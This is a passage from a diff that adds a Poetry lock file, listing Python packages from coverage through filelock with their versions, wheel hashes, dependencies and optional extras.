"sha256:99d16f15cb5baf0729354c5bd3080ae53847a4072b9ba1e10957522fb290417f"}, + {file = "coverage-7.10.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:2c3b210d79925a476dfc8d74c7d53224888421edebf3a611f3adae923e212b27"}, + {file = "coverage-7.10.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:bf67d1787cd317c3f8b2e4c6ed1ae93497be7e30605a0d32237ac37a37a8a322"}, + {file = "coverage-7.10.2-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:069b779d03d458602bc0e27189876e7d8bdf6b24ac0f12900de22dd2154e6ad7"}, + {file = "coverage-7.10.2-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4c2de4cb80b9990e71c62c2d3e9f3ec71b804b1f9ca4784ec7e74127e0f42468"}, + {file = "coverage-7.10.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:75bf7ab2374a7eb107602f1e07310cda164016cd60968abf817b7a0b5703e288"}, + {file = "coverage-7.10.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3f37516458ec1550815134937f73d6d15b434059cd10f64678a2068f65c62406"}, + {file = "coverage-7.10.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:de3c6271c482c250d3303fb5c6bdb8ca025fff20a67245e1425df04dc990ece9"}, + {file = "coverage-7.10.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:98a838101321ac3089c9bb1d4bfa967e8afed58021fda72d7880dc1997f20ae1"}, + {file = "coverage-7.10.2-cp311-cp311-win32.whl", hash = "sha256:f2a79145a531a0e42df32d37be5af069b4a914845b6f686590739b786f2f7bce"}, + {file = "coverage-7.10.2-cp311-cp311-win_amd64.whl", hash = "sha256:e4f5f1320f8ee0d7cfa421ceb257bef9d39fd614dd3ddcfcacd284d4824ed2c2"}, + {file = "coverage-7.10.2-cp311-cp311-win_arm64.whl", hash = "sha256:d8f2d83118f25328552c728b8e91babf93217db259ca5c2cd4dd4220b8926293"}, + {file = "coverage-7.10.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:890ad3a26da9ec7bf69255b9371800e2a8da9bc223ae5d86daeb940b42247c83"}, + {file = "coverage-7.10.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:38fd1ccfca7838c031d7a7874d4353e2f1b98eb5d2a80a2fe5732d542ae25e9c"}, + {file = "coverage-7.10.2-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:76c1ffaaf4f6f0f6e8e9ca06f24bb6454a7a5d4ced97a1bc466f0d6baf4bd518"}, + {file = "coverage-7.10.2-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:86da8a3a84b79ead5c7d0e960c34f580bc3b231bb546627773a3f53c532c2f21"}, + {file = "coverage-7.10.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:99cef9731c8a39801830a604cc53c93c9e57ea8b44953d26589499eded9576e0"}, + {file = "coverage-7.10.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ea58b112f2966a8b91eb13f5d3b1f8bb43c180d624cd3283fb33b1cedcc2dd75"}, + {file = "coverage-7.10.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:20f405188d28da9522b7232e51154e1b884fc18d0b3a10f382d54784715bbe01"}, + {file = "coverage-7.10.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:64586ce42bbe0da4d9f76f97235c545d1abb9b25985a8791857690f96e23dc3b"}, + {file = "coverage-7.10.2-cp312-cp312-win32.whl", hash = "sha256:bc2e69b795d97ee6d126e7e22e78a509438b46be6ff44f4dccbb5230f550d340"}, + {file = "coverage-7.10.2-cp312-cp312-win_amd64.whl", hash = "sha256:adda2268b8cf0d11f160fad3743b4dfe9813cd6ecf02c1d6397eceaa5b45b388"}, + {file = "coverage-7.10.2-cp312-cp312-win_arm64.whl", hash = "sha256:164429decd0d6b39a0582eaa30c67bf482612c0330572343042d0ed9e7f15c20"}, + {file = "coverage-7.10.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:aca7b5645afa688de6d4f8e89d30c577f62956fefb1bad021490d63173874186"}, + {file = "coverage-7.10.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:96e5921342574a14303dfdb73de0019e1ac041c863743c8fe1aa6c2b4a257226"}, + {file = "coverage-7.10.2-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:11333094c1bff621aa811b67ed794865cbcaa99984dedea4bd9cf780ad64ecba"}, + {file = "coverage-7.10.2-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:6eb586fa7d2aee8d65d5ae1dd71414020b2f447435c57ee8de8abea0a77d5074"}, + {file = "coverage-7.10.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2d358f259d8019d4ef25d8c5b78aca4c7af25e28bd4231312911c22a0e824a57"}, + {file = "coverage-7.10.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5250bda76e30382e0a2dcd68d961afcab92c3a7613606e6269855c6979a1b0bb"}, + {file = "coverage-7.10.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:a91e027d66eff214d88d9afbe528e21c9ef1ecdf4956c46e366c50f3094696d0"}, + {file = "coverage-7.10.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:228946da741558904e2c03ce870ba5efd9cd6e48cbc004d9a27abee08100a15a"}, + {file = "coverage-7.10.2-cp313-cp313-win32.whl", hash = "sha256:95e23987b52d02e7c413bf2d6dc6288bd5721beb518052109a13bfdc62c8033b"}, + {file = "coverage-7.10.2-cp313-cp313-win_amd64.whl", hash = "sha256:f35481d42c6d146d48ec92d4e239c23f97b53a3f1fbd2302e7c64336f28641fe"}, + {file = "coverage-7.10.2-cp313-cp313-win_arm64.whl", hash = "sha256:65b451949cb789c346f9f9002441fc934d8ccedcc9ec09daabc2139ad13853f7"}, + {file = "coverage-7.10.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:e8415918856a3e7d57a4e0ad94651b761317de459eb74d34cc1bb51aad80f07e"}, + {file = "coverage-7.10.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f287a25a8ca53901c613498e4a40885b19361a2fe8fbfdbb7f8ef2cad2a23f03"}, + {file = "coverage-7.10.2-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:75cc1a3f8c88c69bf16a871dab1fe5a7303fdb1e9f285f204b60f1ee539b8fc0"}, + {file = "coverage-7.10.2-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ca07fa78cc9d26bc8c4740de1abd3489cf9c47cc06d9a8ab3d552ff5101af4c0"}, + {file = "coverage-7.10.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c2e117e64c26300032755d4520cd769f2623cde1a1d1c3515b05a3b8add0ade1"}, + {file = "coverage-7.10.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:daaf98009977f577b71f8800208f4d40d4dcf5c2db53d4d822787cdc198d76e1"}, + {file = "coverage-7.10.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:ea8d8fe546c528535c761ba424410bbeb36ba8a0f24be653e94b70c93fd8a8ca"}, + {file = "coverage-7.10.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:fe024d40ac31eb8d5aae70215b41dafa264676caa4404ae155f77d2fa95c37bb"}, + {file = "coverage-7.10.2-cp313-cp313t-win32.whl", hash = "sha256:8f34b09f68bdadec122ffad312154eda965ade433559cc1eadd96cca3de5c824"}, + {file = "coverage-7.10.2-cp313-cp313t-win_amd64.whl", hash = "sha256:71d40b3ac0f26fa9ffa6ee16219a714fed5c6ec197cdcd2018904ab5e75bcfa3"}, + {file = "coverage-7.10.2-cp313-cp313t-win_arm64.whl", hash = "sha256:abb57fdd38bf6f7dcc66b38dafb7af7c5fdc31ac6029ce373a6f7f5331d6f60f"}, + {file = "coverage-7.10.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a3e853cc04987c85ec410905667eed4bf08b1d84d80dfab2684bb250ac8da4f6"}, + {file = "coverage-7.10.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0100b19f230df72c90fdb36db59d3f39232391e8d89616a7de30f677da4f532b"}, + {file = "coverage-7.10.2-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9c1cd71483ea78331bdfadb8dcec4f4edfb73c7002c1206d8e0af6797853f5be"}, + {file = "coverage-7.10.2-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9f75dbf4899e29a37d74f48342f29279391668ef625fdac6d2f67363518056a1"}, + {file = "coverage-7.10.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a7df481e7508de1c38b9b8043da48d94931aefa3e32b47dd20277e4978ed5b95"}, + {file = "coverage-7.10.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:835f39e618099325e7612b3406f57af30ab0a0af350490eff6421e2e5f608e46"}, + {file = "coverage-7.10.2-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:12e52b5aa00aa720097d6947d2eb9e404e7c1101ad775f9661ba165ed0a28303"}, + {file = "coverage-7.10.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:718044729bf1fe3e9eb9f31b52e44ddae07e434ec050c8c628bf5adc56fe4bdd"}, + {file = "coverage-7.10.2-cp314-cp314-win32.whl", hash = "sha256:f256173b48cc68486299d510a3e729a96e62c889703807482dbf56946befb5c8"}, + {file = "coverage-7.10.2-cp314-cp314-win_amd64.whl", hash = "sha256:2e980e4179f33d9b65ac4acb86c9c0dde904098853f27f289766657ed16e07b3"}, + {file = "coverage-7.10.2-cp314-cp314-win_arm64.whl", hash = "sha256:14fb5b6641ab5b3c4161572579f0f2ea8834f9d3af2f7dd8fbaecd58ef9175cc"}, + {file = "coverage-7.10.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:e96649ac34a3d0e6491e82a2af71098e43be2874b619547c3282fc11d3840a4b"}, + {file = "coverage-7.10.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1a2e934e9da26341d342d30bfe91422bbfdb3f1f069ec87f19b2909d10d8dcc4"}, + {file = "coverage-7.10.2-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:651015dcd5fd9b5a51ca79ece60d353cacc5beaf304db750407b29c89f72fe2b"}, + {file = "coverage-7.10.2-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:81bf6a32212f9f66da03d63ecb9cd9bd48e662050a937db7199dbf47d19831de"}, + {file = "coverage-7.10.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d800705f6951f75a905ea6feb03fff8f3ea3468b81e7563373ddc29aa3e5d1ca"}, + {file = "coverage-7.10.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:248b5394718e10d067354448dc406d651709c6765669679311170da18e0e9af8"}, + {file = "coverage-7.10.2-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5c61675a922b569137cf943770d7ad3edd0202d992ce53ac328c5ff68213ccf4"}, + {file = "coverage-7.10.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:52d708b5fd65589461381fa442d9905f5903d76c086c6a4108e8e9efdca7a7ed"}, + {file = "coverage-7.10.2-cp314-cp314t-win32.whl", hash = "sha256:916369b3b914186b2c5e5ad2f7264b02cff5df96cdd7cdad65dccd39aa5fd9f0"}, + {file = "coverage-7.10.2-cp314-cp314t-win_amd64.whl", hash = "sha256:5b9d538e8e04916a5df63052d698b30c74eb0174f2ca9cd942c981f274a18eaf"}, + {file = "coverage-7.10.2-cp314-cp314t-win_arm64.whl", hash = "sha256:04c74f9ef1f925456a9fd23a7eef1103126186d0500ef9a0acb0bd2514bdc7cc"}, + {file = "coverage-7.10.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:765b13b164685a2f8b2abef867ad07aebedc0e090c757958a186f64e39d63dbd"}, + {file = "coverage-7.10.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a219b70100500d0c7fd3ebb824a3302efb6b1a122baa9d4eb3f43df8f0b3d899"}, + {file = "coverage-7.10.2-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e33e79a219105aa315439ee051bd50b6caa705dc4164a5aba6932c8ac3ce2d98"}, + {file = "coverage-7.10.2-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:bc3945b7bad33957a9eca16e9e5eae4b17cb03173ef594fdaad228f4fc7da53b"}, + {file = "coverage-7.10.2-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9bdff88e858ee608a924acfad32a180d2bf6e13e059d6a7174abbae075f30436"}, + {file = "coverage-7.10.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:44329cbed24966c0b49acb386352c9722219af1f0c80db7f218af7793d251902"}, + {file = "coverage-7.10.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:be127f292496d0fbe20d8025f73221b36117b3587f890346e80a13b310712982"}, + {file = "coverage-7.10.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6c031da749a05f7a01447dd7f47beedb498edd293e31e1878c0d52db18787df0"}, + {file = "coverage-7.10.2-cp39-cp39-win32.whl", hash = "sha256:22aca3e691c7709c5999ccf48b7a8ff5cf5a8bd6fe9b36efbd4993f5a36b2fcf"}, + {file = "coverage-7.10.2-cp39-cp39-win_amd64.whl", hash = "sha256:c7195444b932356055a8e287fa910bf9753a84a1bc33aeb3770e8fca521e032e"}, + {file = "coverage-7.10.2-py3-none-any.whl", hash = "sha256:95db3750dd2e6e93d99fa2498f3a1580581e49c494bddccc6f85c5c21604921f"}, + {file = "coverage-7.10.2.tar.gz", hash = "sha256:5d6e6d84e6dd31a8ded64759626627247d676a23c1b892e1326f7c55c8d61055"}, +] + +[package.extras] +toml = ["tomli"] + +[[package]] +name = "cryptography" +version = "43.0.3" +description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "cryptography-43.0.3-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:bf7a1932ac4176486eab36a19ed4c0492da5d97123f1406cf15e41b05e787d2e"}, + {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63efa177ff54aec6e1c0aefaa1a241232dcd37413835a9b674b6e3f0ae2bfd3e"}, + {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e1ce50266f4f70bf41a2c6dc4358afadae90e2a1e5342d3c08883df1675374f"}, + {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:443c4a81bb10daed9a8f334365fe52542771f25aedaf889fd323a853ce7377d6"}, + {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:74f57f24754fe349223792466a709f8e0c093205ff0dca557af51072ff47ab18"}, + {file = "cryptography-43.0.3-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9762ea51a8fc2a88b70cf2995e5675b38d93bf36bd67d91721c309df184f49bd"}, + {file = "cryptography-43.0.3-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:81ef806b1fef6b06dcebad789f988d3b37ccaee225695cf3e07648eee0fc6b73"}, + {file = "cryptography-43.0.3-cp37-abi3-win32.whl", hash = "sha256:cbeb489927bd7af4aa98d4b261af9a5bc025bd87f0e3547e11584be9e9427be2"}, + {file = "cryptography-43.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:f46304d6f0c6ab8e52770addfa2fc41e6629495548862279641972b6215451cd"}, + {file = "cryptography-43.0.3-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:8ac43ae87929a5982f5948ceda07001ee5e83227fd69cf55b109144938d96984"}, + {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:846da004a5804145a5f441b8530b4bf35afbf7da70f82409f151695b127213d5"}, + {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f996e7268af62598f2fc1204afa98a3b5712313a55c4c9d434aef49cadc91d4"}, + {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f7b178f11ed3664fd0e995a47ed2b5ff0a12d893e41dd0494f406d1cf555cab7"}, + {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:c2e6fc39c4ab499049df3bdf567f768a723a5e8464816e8f009f121a5a9f4405"}, + {file = "cryptography-43.0.3-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e1be4655c7ef6e1bbe6b5d0403526601323420bcf414598955968c9ef3eb7d16"}, + {file = "cryptography-43.0.3-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:df6b6c6d742395dd77a23ea3728ab62f98379eff8fb61be2744d4679ab678f73"}, + {file = "cryptography-43.0.3-cp39-abi3-win32.whl", hash = "sha256:d56e96520b1020449bbace2b78b603442e7e378a9b3bd68de65c782db1507995"}, + {file = "cryptography-43.0.3-cp39-abi3-win_amd64.whl", hash = "sha256:0c580952eef9bf68c4747774cde7ec1d85a6e61de97281f2dba83c7d2c806362"}, + {file = "cryptography-43.0.3-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d03b5621a135bffecad2c73e9f4deb1a0f977b9a8ffe6f8e002bf6c9d07b918c"}, + {file = "cryptography-43.0.3-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:a2a431ee15799d6db9fe80c82b055bae5a752bef645bba795e8e52687c69efe3"}, + {file = "cryptography-43.0.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:281c945d0e28c92ca5e5930664c1cefd85efe80e5c0d2bc58dd63383fda29f83"}, + {file = "cryptography-43.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f18c716be16bc1fea8e95def49edf46b82fccaa88587a45f8dc0ff6ab5d8e0a7"}, + {file = "cryptography-43.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4a02ded6cd4f0a5562a8887df8b3bd14e822a90f97ac5e544c162899bc467664"}, + {file = "cryptography-43.0.3-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:53a583b6637ab4c4e3591a15bc9db855b8d9dee9a669b550f311480acab6eb08"}, + {file = "cryptography-43.0.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1ec0bcf7e17c0c5669d881b1cd38c4972fade441b27bda1051665faaa89bdcaa"}, + {file = "cryptography-43.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2ce6fae5bdad59577b44e4dfed356944fbf1d925269114c28be377692643b4ff"}, + {file = "cryptography-43.0.3.tar.gz", hash = "sha256:315b9001266a492a6ff443b61238f956b214dbec9910a081ba5b6646a055a805"}, +] + +[package.dependencies] +cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""} + +[package.extras] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] +docstest = ["pyenchant (>=1.6.11)", "readme-renderer", "sphinxcontrib-spelling (>=4.0.1)"] +nox = ["nox"] +pep8test = ["check-sdist", "click", "mypy", "ruff"] +sdist = ["build"] +ssh = ["bcrypt (>=3.1.5)"] +test = ["certifi", "cryptography-vectors (==43.0.3)", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] + +[[package]] +name = "cycler" +version = "0.12.1" +description = "Composable style cycles" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "cycler-0.12.1-py3-none-any.whl", hash = "sha256:85cef7cff222d8644161529808465972e51340599459b8ac3ccbac5a854e0d30"}, + {file = "cycler-0.12.1.tar.gz", hash = "sha256:88bb128f02ba341da8ef447245a9e138fae777f6a23943da4540077d3601eb1c"}, +] + +[package.extras] +docs = ["ipython", "matplotlib", "numpydoc", "sphinx"] +tests = ["pytest", "pytest-cov", "pytest-xdist"] + +[[package]] +name = "decorator" +version = "5.2.1" +description = "Decorators for Humans" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "decorator-5.2.1-py3-none-any.whl", hash = "sha256:d316bb415a2d9e2d2b3abcc4084c6502fc09240e292cd76a76afc106a1c8e04a"}, + {file = "decorator-5.2.1.tar.gz", hash = "sha256:65f266143752f734b0a7cc83c46f4618af75b8c5911b00ccb61d0ac9b6da0360"}, +] + +[[package]] +name = "dill" +version = "0.4.0" +description = "serialize all of Python" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "dill-0.4.0-py3-none-any.whl", hash = "sha256:44f54bf6412c2c8464c14e8243eb163690a9800dbe2c367330883b19c7561049"}, + {file = "dill-0.4.0.tar.gz", hash = "sha256:0633f1d2df477324f53a895b02c901fb961bdbf65a17122586ea7019292cbcf0"}, +] + +[package.extras] +graph = ["objgraph (>=1.7.2)"] +profile = ["gprof2dot (>=2022.7.29)"] + +[[package]] +name = "distlib" +version = "0.4.0" +description = "Distribution utilities" +optional = false +python-versions = "*" +groups = ["dev"] +files = [ + {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"}, + {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, +] + +[[package]] +name = "distro" +version = "1.9.0" +description = "Distro - an OS platform information API" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2"}, + {file = "distro-1.9.0.tar.gz", hash = "sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed"}, +] + +[[package]] +name = "dnspython" +version = "2.7.0" +description = "DNS toolkit" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, + {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, +] + +[package.extras] +dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] +dnssec = ["cryptography (>=43)"] +doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] +doq = ["aioquic (>=1.0.0)"] +idna = ["idna (>=3.7)"] +trio = ["trio (>=0.23)"] +wmi = ["wmi (>=1.5.1)"] + +[[package]] +name = "docker" +version = "7.1.0" +description = "A Python library for the Docker Engine API." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "docker-7.1.0-py3-none-any.whl", hash = "sha256:c96b93b7f0a746f9e77d325bcfb87422a3d8bd4f03136ae8a85b37f1898d5fc0"}, + {file = "docker-7.1.0.tar.gz", hash = "sha256:ad8c70e6e3f8926cb8a92619b832b4ea5299e2831c14284663184e200546fa6c"}, +] + +[package.dependencies] +pywin32 = {version = ">=304", markers = "sys_platform == \"win32\""} +requests = ">=2.26.0" +urllib3 = ">=1.26.0" + +[package.extras] +dev = ["coverage (==7.2.7)", "pytest (==7.4.2)", "pytest-cov (==4.1.0)", "pytest-timeout (==2.1.0)", "ruff (==0.1.8)"] +docs = ["myst-parser (==0.18.0)", "sphinx (==5.1.1)"] +ssh = ["paramiko (>=2.4.3)"] +websockets = ["websocket-client (>=1.3.0)"] + +[[package]] +name = "docutils" +version = "0.21.2" +description = "Docutils -- Python Documentation Utilities" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "docutils-0.21.2-py3-none-any.whl", hash = "sha256:dafca5b9e384f0e419294eb4d2ff9fa826435bf15f15b7bd45723e8ad76811b2"}, + {file = "docutils-0.21.2.tar.gz", hash = "sha256:3a6b18732edf182daa3cd12775bbb338cf5691468f91eeeb109deff6ebfa986f"}, +] + +[[package]] +name = "email-validator" +version = "2.2.0" +description = "A robust email address syntax and deliverability validation library." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "email_validator-2.2.0-py3-none-any.whl", hash = "sha256:561977c2d73ce3611850a06fa56b414621e0c8faa9d66f2611407d87465da631"}, + {file = "email_validator-2.2.0.tar.gz", hash = "sha256:cb690f344c617a714f22e66ae771445a1ceb46821152df8e165c5f9a364582b7"}, +] + +[package.dependencies] +dnspython = ">=2.0.0" +idna = ">=2.0.0" + +[[package]] +name = "et-xmlfile" +version = "2.0.0" +description = "An implementation of lxml.xmlfile for the standard library" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "et_xmlfile-2.0.0-py3-none-any.whl", hash = "sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa"}, + {file = "et_xmlfile-2.0.0.tar.gz", hash = "sha256:dab3f4764309081ce75662649be815c4c9081e88f0837825f90fd28317d4da54"}, +] + +[[package]] +name = "executing" +version = "2.2.0" +description = "Get the currently executing AST node of a frame, and other information" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "executing-2.2.0-py2.py3-none-any.whl", hash = "sha256:11387150cad388d62750327a53d3339fad4888b39a6fe233c3afbb54ecffd3aa"}, + {file = "executing-2.2.0.tar.gz", hash = "sha256:5d108c028108fe2551d1a7b2e8b713341e2cb4fc0aa7dcf966fa4327a5226755"}, +] + +[package.extras] +tests = ["asttokens (>=2.1.0)", "coverage", "coverage-enable-subprocess", "ipython", "littleutils", "pytest", "rich"] + +[[package]] +name = "fastapi" +version = "0.115.14" +description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "fastapi-0.115.14-py3-none-any.whl", hash = "sha256:6c0c8bf9420bd58f565e585036d971872472b4f7d3f6c73b698e10cffdefb3ca"}, + {file = "fastapi-0.115.14.tar.gz", hash = "sha256:b1de15cdc1c499a4da47914db35d0e4ef8f1ce62b624e94e0e5824421df99739"}, +] + +[package.dependencies] +pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0 || >2.0.0,<2.0.1 || >2.0.1,<2.1.0 || >2.1.0,<3.0.0" +starlette = ">=0.40.0,<0.47.0" +typing-extensions = ">=4.8.0" + +[package.extras] +all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.5)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.2.1)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] +standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.5)", "httpx (>=0.23.0)", "jinja2 (>=3.1.5)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] + +[[package]] +name = "fastapi-sso" +version = "0.16.0" +description = "FastAPI plugin to enable SSO to most common providers (such as Facebook login, Google login and login via Microsoft Office 365 Account)" +optional = false +python-versions = "<4.0,>=3.8" +groups = ["main"] +files = [ + {file = "fastapi_sso-0.16.0-py3-none-any.whl", hash = "sha256:3a66a942474ef9756d3a9d8b945d55bd9faf99781facdb9b87a40b73d6d6b0c3"}, + {file = "fastapi_sso-0.16.0.tar.gz", hash = "sha256:f3941f986347566b7d3747c710cf474a907f581bfb6697ff3bb3e44eb76b438c"}, +] + +[package.dependencies] +fastapi = ">=0.80" +httpx = ">=0.23.0" +oauthlib = ">=3.1.0" +pydantic = {version = ">=1.8.0", extras = ["email"]} + +[[package]] +name = "filelock" +version = "3.18.0" +description = "A platform independent file lock." +optional = false +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = 